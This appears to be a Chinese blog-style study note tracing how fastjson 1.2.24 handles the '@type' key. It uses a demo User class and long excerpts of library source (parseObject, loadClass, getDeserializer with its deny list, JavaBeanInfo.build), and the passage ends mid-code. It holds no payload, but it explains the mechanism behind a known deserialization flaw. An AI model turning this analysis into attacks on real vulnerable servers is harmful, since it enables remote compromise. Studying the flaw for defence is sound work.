fastjson

使用

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.fastjsonLearn;

public class User {
private String name;
private int age;
public User() {
System.out.println("constructor");
}

public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

Fastjason1_2_24.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.fastjsonLearn;

import com.alibaba.fastjson.JSON;

public class Fastjason1_2_24 {
public static void use(){
String json="{\n" +
" \"name\":\"august\",\n" +
" \"age\":12\n" +
"}";
User user = JSON.parseObject(json, User.class);
// System.out.println(user.getName());
// System.out.println(user.getAge());
// System.out.println(user);
}
public static void main(String[] args) {
use();
}
}

image-20251012145955133

在调用中发现,在进行paraseObject 的时候会自动进行setter 函数

上面这种类型的使用是不会出现漏洞的

但是fastjson 可以通过type 的字段自动的进行反序列化

比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.fastjsonLearn;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Fastjason1_2_24 {
public static void use(){
String json="{\n" +
" \"name\":\"august\",\n" +
" \"age\":12\n" +
"}";
User user = JSON.parseObject(json, User.class);
// System.out.println(user.getName());
// System.out.println(user.getAge());
// System.out.println(user);
}

public static void use2(){
String json="{\n" +
" \"@type\":\"org.fastjsonLearn.User\",\n" +
" \"name\": \"august\",\n" +
" \"age\": 12\n" +
"}";
JSONObject user = JSON.parseObject(json);
System.out.println(user);
}
public static void main(String[] args) {
use2();
}
}

image-20251012150657068

发现调用了非常多的函数set/get等

根据@type 然后执行反序列化

接下来就看他的一个完整的调用类

调用分析

image-20251012185824760

image-20251012185852653

image-20251012185915771

image-20251012190007209

image-20251012190019030

image-20251012190144063

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
public final Object parseObject(final Map object, Object fieldName) {
final JSONLexer lexer = this.lexer;

if (lexer.token() == JSONToken.NULL) {
lexer.nextToken();
return null;
}

if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
}

if (lexer.token() != JSONToken.LBRACE && lexer.token() != JSONToken.COMMA) {
throw new JSONException("syntax error, expect {, actual " + lexer.tokenName() + ", " + lexer.info());
}

ParseContext context = this.context;
try {
boolean setContextFlag = false;
for (;;) {
lexer.skipWhitespace();
char ch = lexer.getCurrent();
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}

boolean isObjectKey = false;
Object key;
if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
} else if (ch == '}') {
lexer.next();
lexer.resetStringPosition();
lexer.nextToken();

if (!setContextFlag) {
if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
context = this.context;
} else {
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
}
}

return object;
} else if (ch == '\'') {
if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
throw new JSONException("syntax error");
}

key = lexer.scanSymbol(symbolTable, '\'');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos());
}
} else if (ch == EOI) {
throw new JSONException("syntax error");
} else if (ch == ',') {
throw new JSONException("syntax error");
} else if ((ch >= '0' && ch <= '9') || ch == '-') {
lexer.resetStringPosition();
lexer.scanNumber();
try {
if (lexer.token() == JSONToken.LITERAL_INT) {
key = lexer.integerValue();
} else {
key = lexer.decimalValue(true);
}
} catch (NumberFormatException e) {
throw new JSONException("parse number key error" + lexer.info());
}
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("parse number key error" + lexer.info());
}
} else if (ch == '{' || ch == '[') {
lexer.nextToken();
key = parse();
isObjectKey = true;
} else {
if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
throw new JSONException("syntax error");
}

key = lexer.scanSymbolUnQuoted(symbolTable);
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
}
}

if (!isObjectKey) {
lexer.next();
lexer.skipWhitespace();
}

ch = lexer.getCurrent();

lexer.resetStringPosition();

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

if (clazz == null) {
object.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}

lexer.nextToken(JSONToken.COMMA);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
}

if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}

return instance;
} catch (Exception e) {
throw new JSONException("create instance error", e);
}
}

this.setResolveStatus(TypeNameRedirect);

if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
Object newObj = TypeUtils.cast(object, clazz, this.config);
this.parseObject(newObj);
return newObj;
}

ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
}

if (key == "$ref" && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
lexer.nextToken(JSONToken.LITERAL_STRING);
if (lexer.token() == JSONToken.LITERAL_STRING) {
String ref = lexer.stringVal();
lexer.nextToken(JSONToken.RBRACE);

Object refValue = null;
if ("@".equals(ref)) {
if (this.context != null) {
ParseContext thisContext = this.context;
Object thisObj = thisContext.object;
if (thisObj instanceof Object[] || thisObj instanceof Collection<?>) {
refValue = thisObj;
} else if (thisContext.parent != null) {
refValue = thisContext.parent.object;
}
}
} else if ("..".equals(ref)) {
if (context.object != null) {
refValue = context.object;
} else {
addResolveTask(new ResolveTask(context, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}
} else if ("$".equals(ref)) {
ParseContext rootContext = context;
while (rootContext.parent != null) {
rootContext = rootContext.parent;
}

if (rootContext.object != null) {
refValue = rootContext.object;
} else {
addResolveTask(new ResolveTask(rootContext, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}
} else {
addResolveTask(new ResolveTask(context, ref));
setResolveStatus(DefaultJSONParser.NeedToResolve);
}

if (lexer.token() != JSONToken.RBRACE) {
throw new JSONException("syntax error");
}
lexer.nextToken(JSONToken.COMMA);

return refValue;
} else {
throw new JSONException("illegal ref, " + JSONToken.name(lexer.token()));
}
}

if (!setContextFlag) {
if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
context = this.context;
} else {
ParseContext contextR = setContext(object, fieldName);
if (context == null) {
context = contextR;
}
setContextFlag = true;
}
}

if (object.getClass() == JSONObject.class) {
key = (key == null) ? "null" : key.toString();
}

Object value;
if (ch == '"') {
lexer.scanString();
String strValue = lexer.stringVal();
value = strValue;

if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
JSONScanner iso8601Lexer = new JSONScanner(strValue);
if (iso8601Lexer.scanISO8601DateIfMatch()) {
value = iso8601Lexer.getCalendar().getTime();
}
iso8601Lexer.close();
}

object.put(key, value);
} else if (ch >= '0' && ch <= '9' || ch == '-') {
lexer.scanNumber();
if (lexer.token() == JSONToken.LITERAL_INT) {
value = lexer.integerValue();
} else {
value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
}

object.put(key, value);
} else if (ch == '[') { // 减少嵌套,兼容android
lexer.nextToken();

JSONArray list = new JSONArray();

final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
// if (!parentIsArray) {
// this.setContext(context);
// }
if (fieldName == null) {
this.setContext(context);
}

this.parseArray(list, key);

if (lexer.isEnabled(Feature.UseObjectArray)) {
value = list.toArray();
} else {
value = list;
}
object.put(key, value);

if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
} else if (lexer.token() == JSONToken.COMMA) {
continue;
} else {
throw new JSONException("syntax error");
}
} else if (ch == '{') { // 减少嵌套,兼容android
lexer.nextToken();

final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;

JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
ParseContext ctxLocal = null;

if (!parentIsArray) {
ctxLocal = setContext(context, input, key);
}

Object obj = null;
boolean objParsed = false;
if (fieldTypeResolver != null) {
String resolveFieldName = key != null ? key.toString() : null;
Type fieldType = fieldTypeResolver.resolve(object, resolveFieldName);
if (fieldType != null) {
ObjectDeserializer fieldDeser = config.getDeserializer(fieldType);
obj = fieldDeser.deserialze(this, fieldType, key);
objParsed = true;
}
}
if (!objParsed) {
obj = this.parseObject(input, key);
}

if (ctxLocal != null && input != obj) {
ctxLocal.object = object;
}

checkMapResolve(object, key.toString());

if (object.getClass() == JSONObject.class) {
object.put(key.toString(), obj);
} else {
object.put(key, obj);
}

if (parentIsArray) {
//setContext(context, obj, key);
setContext(obj, key);
}

if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();

setContext(context);
return object;
} else if (lexer.token() == JSONToken.COMMA) {
if (parentIsArray) {
this.popContext();
} else {
this.setContext(context);
}
continue;
} else {
throw new JSONException("syntax error, " + lexer.tokenName());
}
} else {
lexer.nextToken();
value = parse();

if (object.getClass() == JSONObject.class) {
key = key.toString();
}
object.put(key, value);

if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
return object;
} else if (lexer.token() == JSONToken.COMMA) {
continue;
} else {
throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
}
}

lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch == ',') {
lexer.next();
continue;
} else if (ch == '}') {
lexer.next();
lexer.resetStringPosition();
lexer.nextToken();

// this.setContext(object, fieldName);
this.setContext(value, key);

return object;
} else {
throw new JSONException("syntax error, position at " + lexer.pos() + ", name " + key);
}

}
} finally {
this.setContext(context);
}

}

在这个函数中就是通过循环一直去匹配字符,触发对应的函数

image-20251012190659584

获取了了key

根据@type 去进行loadClass

image-20251012190900361

进入到loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

if (contextClassLoader != null) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
// skip
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);

return clazz;
} catch (Throwable e) {
// skip
}

return clazz;
}

image-20251012191138870

image-20251012191047434

从缓存中尝试去加载,但是我们的 className 是外部加载,肯定不会存在这个里面

image-20251012191248830

所以获取了一个null 的类加载器

接下来又是继续去获取类加载器

image-20251012191325424

最终获取一个 AppClassLoader

image-20251012191424290

到这一步就是获取了类加载器

image-20251012192902365

发现之后应该就是动态类加载了,然后完成对象的构造

获取反序列化器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public ObjectDeserializer getDeserializer(Type type) {
ObjectDeserializer derializer = this.derializers.get(type);
if (derializer != null) {
return derializer;
}

if (type instanceof Class<?>) {
return getDeserializer((Class<?>) type, type);
}

if (type instanceof ParameterizedType) {
Type rawType = ((ParameterizedType) type).getRawType();
if (rawType instanceof Class<?>) {
return getDeserializer((Class<?>) rawType, type);
} else {
return getDeserializer(rawType);
}
}

return JavaObjectDeserializer.instance;
}

这个部分,也是先从缓存去取

image-20251012193038148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
derializers.put(SimpleDateFormat.class, MiscCodec.instance);
derializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);
derializers.put(java.sql.Date.class, SqlDateDeserializer.instance);
derializers.put(java.sql.Time.class, TimeDeserializer.instance);
derializers.put(java.util.Date.class, DateCodec.instance);
derializers.put(Calendar.class, CalendarCodec.instance);
derializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);

derializers.put(JSONObject.class, MapDeserializer.instance);
derializers.put(JSONArray.class, CollectionCodec.instance);

derializers.put(Map.class, MapDeserializer.instance);
derializers.put(HashMap.class, MapDeserializer.instance);
derializers.put(LinkedHashMap.class, MapDeserializer.instance);
derializers.put(TreeMap.class, MapDeserializer.instance);
derializers.put(ConcurrentMap.class, MapDeserializer.instance);
derializers.put(ConcurrentHashMap.class, MapDeserializer.instance);

derializers.put(Collection.class, CollectionCodec.instance);
derializers.put(List.class, CollectionCodec.instance);
derializers.put(ArrayList.class, CollectionCodec.instance);

derializers.put(Object.class, JavaObjectDeserializer.instance);
derializers.put(String.class, StringCodec.instance);
derializers.put(StringBuffer.class, StringCodec.instance);
derializers.put(StringBuilder.class, StringCodec.instance);
derializers.put(char.class, CharacterCodec.instance);
derializers.put(Character.class, CharacterCodec.instance);
derializers.put(byte.class, NumberDeserializer.instance);
derializers.put(Byte.class, NumberDeserializer.instance);
derializers.put(short.class, NumberDeserializer.instance);
derializers.put(Short.class, NumberDeserializer.instance);
derializers.put(int.class, IntegerCodec.instance);
derializers.put(Integer.class, IntegerCodec.instance);
derializers.put(long.class, LongCodec.instance);
derializers.put(Long.class, LongCodec.instance);
derializers.put(BigInteger.class, BigIntegerCodec.instance);
derializers.put(BigDecimal.class, BigDecimalCodec.instance);
derializers.put(float.class, FloatCodec.instance);
derializers.put(Float.class, FloatCodec.instance);
derializers.put(double.class, NumberDeserializer.instance);
derializers.put(Double.class, NumberDeserializer.instance);
derializers.put(boolean.class, BooleanCodec.instance);
derializers.put(Boolean.class, BooleanCodec.instance);
derializers.put(Class.class, MiscCodec.instance);
derializers.put(char[].class, new CharArrayCodec());

derializers.put(AtomicBoolean.class, BooleanCodec.instance);
derializers.put(AtomicInteger.class, IntegerCodec.instance);
derializers.put(AtomicLong.class, LongCodec.instance);
derializers.put(AtomicReference.class, ReferenceCodec.instance);

derializers.put(WeakReference.class, ReferenceCodec.instance);
derializers.put(SoftReference.class, ReferenceCodec.instance);

derializers.put(UUID.class, MiscCodec.instance);
derializers.put(TimeZone.class, MiscCodec.instance);
derializers.put(Locale.class, MiscCodec.instance);
derializers.put(Currency.class, MiscCodec.instance);
derializers.put(InetAddress.class, MiscCodec.instance);
derializers.put(Inet4Address.class, MiscCodec.instance);
derializers.put(Inet6Address.class, MiscCodec.instance);
derializers.put(InetSocketAddress.class, MiscCodec.instance);
derializers.put(File.class, MiscCodec.instance);
derializers.put(URI.class, MiscCodec.instance);
derializers.put(URL.class, MiscCodec.instance);
derializers.put(Pattern.class, MiscCodec.instance);
derializers.put(Charset.class, MiscCodec.instance);
derializers.put(JSONPath.class, MiscCodec.instance);
derializers.put(Number.class, NumberDeserializer.instance);
derializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
derializers.put(AtomicLongArray.class, AtomicCodec.instance);
derializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);

derializers.put(Serializable.class, JavaObjectDeserializer.instance);
derializers.put(Cloneable.class, JavaObjectDeserializer.instance);
derializers.put(Comparable.class, JavaObjectDeserializer.instance);
derializers.put(Closeable.class, JavaObjectDeserializer.instance);

肯定是没有的

然后进入到新的逻辑

image-20251012193134155

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
ObjectDeserializer derializer = derializers.get(type);
if (derializer != null) {
return derializer;
}

if (type == null) {
type = clazz;
}

derializer = derializers.get(type);
if (derializer != null) {
return derializer;
}

{
JSONType annotation = clazz.getAnnotation(JSONType.class);
if (annotation != null) {
Class<?> mappingTo = annotation.mappingTo();
if (mappingTo != Void.class) {
return getDeserializer(mappingTo, mappingTo);
}
}
}

if (type instanceof WildcardType || type instanceof TypeVariable || type instanceof ParameterizedType) {
derializer = derializers.get(clazz);
}

if (derializer != null) {
return derializer;
}

String className = clazz.getName();
className = className.replace('$', '.');
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}

if (className.startsWith("java.awt.") //
&& AwtCodec.support(clazz)) {
if (!awtError) {
try {
derializers.put(Class.forName("java.awt.Point"), AwtCodec.instance);
derializers.put(Class.forName("java.awt.Font"), AwtCodec.instance);
derializers.put(Class.forName("java.awt.Rectangle"), AwtCodec.instance);
derializers.put(Class.forName("java.awt.Color"), AwtCodec.instance);
} catch (Throwable e) {
// skip
awtError = true;
}

derializer = AwtCodec.instance;
}
}

if (!jdk8Error) {
try {
if (className.startsWith("java.time.")) {

derializers.put(Class.forName("java.time.LocalDateTime"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.LocalDate"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.LocalTime"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.ZonedDateTime"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.OffsetDateTime"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.OffsetTime"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.ZoneOffset"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.ZoneRegion"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.ZoneId"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.Period"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.Duration"), Jdk8DateCodec.instance);
derializers.put(Class.forName("java.time.Instant"), Jdk8DateCodec.instance);

derializer = derializers.get(clazz);
} else if (className.startsWith("java.util.Optional")) {

derializers.put(Class.forName("java.util.Optional"), OptionalCodec.instance);
derializers.put(Class.forName("java.util.OptionalDouble"), OptionalCodec.instance);
derializers.put(Class.forName("java.util.OptionalInt"), OptionalCodec.instance);
derializers.put(Class.forName("java.util.OptionalLong"), OptionalCodec.instance);

derializer = derializers.get(clazz);
}
} catch (Throwable e) {
// skip
jdk8Error = true;
}
}

if (className.equals("java.nio.file.Path")) {
derializers.put(clazz, MiscCodec.instance);
}

if (clazz == Map.Entry.class) {
derializers.put(clazz, MiscCodec.instance);
}

final ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
for (AutowiredObjectDeserializer autowired : ServiceLoader.load(AutowiredObjectDeserializer.class,
classLoader)) {
for (Type forType : autowired.getAutowiredFor()) {
derializers.put(forType, autowired);
}
}
} catch (Exception ex) {
// skip
}

if (derializer == null) {
derializer = derializers.get(type);
}

if (derializer != null) {
return derializer;
}

if (clazz.isEnum()) {
derializer = new EnumDeserializer(clazz);
} else if (clazz.isArray()) {
derializer = ObjectArrayCodec.instance;
} else if (clazz == Set.class || clazz == HashSet.class || clazz == Collection.class || clazz == List.class
|| clazz == ArrayList.class) {
derializer = CollectionCodec.instance;
} else if (Collection.class.isAssignableFrom(clazz)) {
derializer = CollectionCodec.instance;
} else if (Map.class.isAssignableFrom(clazz)) {
derializer = MapDeserializer.instance;
} else if (Throwable.class.isAssignableFrom(clazz)) {
derializer = new ThrowableDeserializer(this, clazz);
} else {
derializer = createJavaBeanDeserializer(clazz, type);
}

putDeserializer(type, derializer);

return derializer;
}

发现存在一个黑名单?

image-20251012193358933

image-20251012193415803

但是我们的类肯定不在这个范围中

接下来继续分析,会经过一些列的白名单的函数,然后具体进入到

image-20251012193723086

然后进入到 JavaBeanInfo.build

image-20251012194113709

这个函数就是利用javaBean 的规范对参数进行赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {
JSONType jsonType = clazz.getAnnotation(JSONType.class);

Class<?> builderClass = getBuilderClass(jsonType);

Field[] declaredFields = clazz.getDeclaredFields();
Method[] methods = clazz.getMethods();

Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass);
Constructor<?> creatorConstructor = null;
Method buildMethod = null;

List<FieldInfo> fieldList = new ArrayList<FieldInfo>();

if (defaultConstructor == null && !(clazz.isInterface() || Modifier.isAbstract(clazz.getModifiers()))) {
creatorConstructor = getCreatorConstructor(clazz);
if (creatorConstructor != null) { // 基于标记 JSONCreator 注解的构造方法
TypeUtils.setAccessible(creatorConstructor);

Class<?>[] types = creatorConstructor.getParameterTypes();
if (types.length > 0) {
Annotation[][] paramAnnotationArrays = creatorConstructor.getParameterAnnotations();
for (int i = 0; i < types.length; ++i) {
Annotation[] paramAnnotations = paramAnnotationArrays[i];
JSONField fieldAnnotation = null;
for (Annotation paramAnnotation : paramAnnotations) {
if (paramAnnotation instanceof JSONField) {
fieldAnnotation = (JSONField) paramAnnotation;
break;
}
}
if (fieldAnnotation == null) {
throw new JSONException("illegal json creator");
}
Class<?> fieldClass = types[i];
Type fieldType = creatorConstructor.getGenericParameterTypes()[i];
Field field = TypeUtils.getField(clazz, fieldAnnotation.name(), declaredFields);
final int ordinal = fieldAnnotation.ordinal();
final int serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
final int parserFeatures = Feature.of(fieldAnnotation.parseFeatures());
FieldInfo fieldInfo = new FieldInfo(fieldAnnotation.name(), clazz, fieldClass, fieldType, field,
ordinal, serialzeFeatures, parserFeatures);
add(fieldList, fieldInfo);
}
}

return new JavaBeanInfo(clazz, builderClass, null, creatorConstructor, null, null, jsonType, fieldList);
}

Method factoryMethod = getFactoryMethod(clazz, methods); // 基于标记 JSONCreator 注解的工厂方法
if (factoryMethod != null) {
TypeUtils.setAccessible(factoryMethod);

Class<?>[] types = factoryMethod.getParameterTypes();
if (types.length > 0) {
Annotation[][] paramAnnotationArrays = factoryMethod.getParameterAnnotations();
for (int i = 0; i < types.length; ++i) {
Annotation[] paramAnnotations = paramAnnotationArrays[i];
JSONField fieldAnnotation = null;
for (Annotation paramAnnotation : paramAnnotations) {
if (paramAnnotation instanceof JSONField) {
fieldAnnotation = (JSONField) paramAnnotation;
break;
}
}
if (fieldAnnotation == null) {
throw new JSONException("illegal json creator");
}

Class<?> fieldClass = types[i];
Type fieldType = factoryMethod.getGenericParameterTypes()[i];
Field field = TypeUtils.getField(clazz, fieldAnnotation.name(), declaredFields);
final int ordinal = fieldAnnotation.ordinal();
final int serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
final int parserFeatures = Feature.of(fieldAnnotation.parseFeatures());
FieldInfo fieldInfo = new FieldInfo(fieldAnnotation.name(), clazz, fieldClass, fieldType, field,
ordinal, serialzeFeatures, parserFeatures);
add(fieldList, fieldInfo);
}
}

return new JavaBeanInfo(clazz, builderClass, null, null, factoryMethod, null, jsonType, fieldList);
}

throw new JSONException("default constructor not found. " + clazz);
}

if (defaultConstructor != null) {
TypeUtils.setAccessible(defaultConstructor);
}

if (builderClass != null) {
String withPrefix = null;

JSONPOJOBuilder builderAnno = builderClass.getAnnotation(JSONPOJOBuilder.class);
if (builderAnno != null) {
withPrefix = builderAnno.withPrefix();
}

if (withPrefix == null || withPrefix.length() == 0) {
withPrefix = "with";
}

for (Method method : builderClass.getMethods()) {
if (Modifier.isStatic(method.getModifiers())) {
continue;
}

if (!(method.getReturnType().equals(builderClass))) {
continue;
}

int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;

JSONField annotation = method.getAnnotation(JSONField.class);

if (annotation == null) {
annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
}

if (annotation != null) {
if (!annotation.deserialize()) {
continue;
}

ordinal = annotation.ordinal();
serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
parserFeatures = Feature.of(annotation.parseFeatures());

if (annotation.name().length() != 0) {
String propertyName = annotation.name();
add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, null, null));
continue;
}
}

String methodName = method.getName();
if (!methodName.startsWith(withPrefix)) {
continue;
}

if (methodName.length() <= withPrefix.length()) {
continue;
}

char c0 = methodName.charAt(withPrefix.length());

if (!Character.isUpperCase(c0)) {
continue;
}

StringBuilder properNameBuilder = new StringBuilder(methodName.substring(withPrefix.length()));
properNameBuilder.setCharAt(0, Character.toLowerCase(c0));

String propertyName = properNameBuilder.toString();

add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, null, null));
}

if (builderClass != null) {
JSONPOJOBuilder builderAnnotation = builderClass.getAnnotation(JSONPOJOBuilder.class);

String buildMethodName = null;
if (builderAnnotation != null) {
buildMethodName = builderAnnotation.buildMethod();
}

if (buildMethodName == null || buildMethodName.length() == 0) {
buildMethodName = "build";
}

try {
buildMethod = builderClass.getMethod(buildMethodName);
